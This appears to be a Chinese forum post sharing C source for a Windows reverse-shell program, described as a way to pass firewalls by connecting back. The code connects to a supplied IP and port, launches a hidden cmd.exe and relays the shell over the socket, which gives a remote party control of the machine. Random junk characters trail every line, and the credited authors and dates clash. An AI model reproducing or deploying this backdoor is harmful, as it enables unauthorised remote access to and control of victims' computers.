这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 84QOW|1
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/* ============================== v1 8<~
Rebound port in Windows NT %jzTQ+.%]^
By wind,2006/7 VIz(@
===============================*/ $U*eq[
#include llP
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#include _K9`o^g%PJ
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#pragma comment(lib,"wsock32.lib") -}%J3j|R:
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void OutputShell(); OW@%H;b
SOCKET sClient; Jz`jN~
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; BDI@h%tJb:
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void main(int argc,char **argv) 4j=3'Z|
{ UE'=9{o`
WSADATA stWsaData; ?9()ya-TE
int nRet; UON=7}=$&
SOCKADDR_IN stSaiClient,stSaiServer; = g{I`u
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if(argc != 3) $_"u2"p
{ Mwnr4$]
printf("Useage:\n\rRebound DestIP DestPort\n"); 0~fjY^(
return; 4C =W~6~
} AB'+6QU9k
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WSAStartup(MAKEWORD(2,2),&stWsaData); h p|v?3(
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); rJ Jx8)M
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stSaiClient.sin_family = AF_INET; 3P6O]x<-?
stSaiClient.sin_port = htons(0); %3a-@!|1<
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); >BbX:
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 9m
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{ DzGUKJh6
printf("Bind Socket Failed!\n"); }_'5Vb_
return; #SHeK 4
} RxMsP;be
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stSaiServer.sin_family = AF_INET; }qiZ%cT.G
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); pX_#Y)5
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); @wcF#?J
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @q'kKVJs
{ &IQ=M.!r
printf("Connect Error!"); uI-T]N:W8x
return; 2|>\A.I|=
} 9~Dg<wQ
OutputShell(); z?\it(
} m=01V5_
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void OutputShell() .nD#:86M
{ #-;c!<2
char szBuff[1024]; *SNdU^!
SECURITY_ATTRIBUTES stSecurityAttributes; \P.h;|u
OSVERSIONINFO stOsversionInfo; /A7( `l;6
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; r!Aj5
STARTUPINFO stStartupInfo; eB5>uKa
char *szShell; mU #F>
PROCESS_INFORMATION stProcessInformation; 13s/m&
unsigned long lBytesRead; w~*@TG
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); _= v4Iz0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); AT"gRCU$4
stSecurityAttributes.lpSecurityDescriptor = 0; a!$kKOK
stSecurityAttributes.bInheritHandle = TRUE; >B{NxL3->
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); `*8}q!.
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); t neTOj
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); OBAO(Ke
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %4*c/ c6
stStartupInfo.wShowWindow = SW_HIDE; |qw0:c=7!
stStartupInfo.hStdInput = hReadPipe; #3rS{4[
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; [KK
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GetVersionEx(&stOsversionInfo); N1~bp?$1
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switch(stOsversionInfo.dwPlatformId) +5zXbfO
{ z By%=)`
case 1: ;R*-cm
szShell = "command.com"; 6|jZv~rS$
break; 2`f{D~w
default: eg;7BZim{
szShell = "cmd.exe"; Fv~lasW[
break; ]UvB+M]Lv)
} !J7`frv"(
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); [{7#IZL
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send(sClient,szMsg,77,0); stRM*.
while(1) =
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{ yLC[-.H
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); |o5eG><
if(lBytesRead) ]M5~p^ RB
{ }n9(|i+
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); N!K%aH~O
send(sClient,szBuff,lBytesRead,0); J p=qPG|
} z0 9Gp}^;
else oV%:XuywT
{ VExhN';
lBytesRead=recv(sClient,szBuff,1024,0); B(W~]i
if(lBytesRead<=0) break; Uc
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WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); D^[l~K
} 0/Q_%
:
} \jC) ;mk
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return; {W,5]-
}